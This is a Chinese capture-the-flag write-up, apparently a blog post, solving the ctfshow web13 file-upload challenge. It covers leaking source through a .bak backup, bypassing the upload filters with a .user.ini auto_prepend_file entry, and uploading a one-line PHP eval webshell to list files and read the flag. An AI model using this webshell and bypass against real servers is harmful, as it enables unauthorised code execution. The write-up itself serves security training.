尝试 常规姿势上传文件
打开网站
初步判定为文件上传漏洞。
随便选择几个文件上传,提示错误
不选择任何文件直接点提交也会报错
打开burpsuite抓包,改掉MIME类型,也就是图示位置,发现也不行,应该不是MIME过滤
一头雾水,只能换个思路。
------------------------------------------------------这是分割线------------------------------------------------------------
尝试 获取网站源码
通过备份压缩文件获取,常见的文件后缀名有以下这些
.rar .zip .7z .tar.gz .bak .txt .old .temp
发现.bak文件能够获取源码
敏感文件泄露的方式有很多,例如 .git、.svn、.hg源码泄露等
常见的利用方式和工具参考这篇文章
源代码分析:文件上传漏洞
<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];//获取上传文件的原始文件名。(包含后缀名)
$tmp_name = $_FILES['file']['tmp_name'];//获取上传文件在服务器的临时存储路径。
$size = $_FILES['file']['size'];//获取文件的大小,单位为字节。
$error = $_FILES['file']['error'];//获取文件上传过程中是否发生错误,返回错误代码。
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
//使用 pathinfo() 函数解析文件路径,提取文件的扩展名(extension)
//并存储到 $ext_suffix 变量中。
if ($size > 24){
die("error file zise");
}//大小限制
if (strlen($filename)>9){
die("error file name");
}//文件名长度限制(包括扩展名)
if(strlen($ext_suffix)>3){
die("error suffix");
}//扩展名长度限制
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}//这两个都是限制文件名里面没有php字样
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
//使用 move_uploaded_file() 函数将临时文件移动到指定目录中(此处为当前目录下)。
//如果上传成功,输出 “文件上传成功!”,否则输出 “文件上传失败!”。
?>
那显而易见,就是上传我们含有构造payload的文件,只是有一些限制。
目标就是写个一句话木马,上传上去。绕过方式也很简单,利用.user.ini文件
.user.ini文件妙用
这里就非常通俗易懂的说一下它的作用,如有口误不必在意(bushi
.user.ini
是一个配置文件,允许用户在特定的目录下为 PHP 运行环境设置一些参数。甚至可以覆盖某些php的全局设置。就比如说在某个目录下有.user.ini文件和1.php文件,你就可以设置.user.ini文件里面的一些参数,1.php执行的时候就会优先按照.设置的来。
至于在文件上传漏洞中主要的参数也就两个 auto_prepend_file 和 auto_append_file
auto_prepend_file表示在每个PHP脚本之前自动加载指定的文件。该文件的内容将被插入到原始脚本的顶部。而autu_append_file无非就是加到文件底部(ps:不过一般还是建议加在顶部,因为文末如果有exit()会无法调用到)
示例:auto_prepend_file = "/path/to/prepend.php"
修改数据包,上传含有payload的文件(也可以在本地把这两个文件写好再上传)
先上传.user.ini文件,其中的1.txt就是我们即将上传的带有一句话木马的文件
现在上传1.txt文件
ps:不管是写成<?php eval($_POST['a']);还是<?= eval($_POST['a']);形式,亦或者是GET方式,经过我测试都可以成功
提交参数,获取flag
通过火狐hackbar插件,在/upload.php目录下提交参数
a=print_r(glob('*'));
//当然,用scandir()函数也可以,print_r(scandir('.'));
结果如下
得到一个文件名巨长的文件,用highlight_file()函数访问,得到flag
标签:文件,user,web13,ctfshow,file,php,上传,ini From: https://blog.csdn.net/2302_76724233/article/details/141973605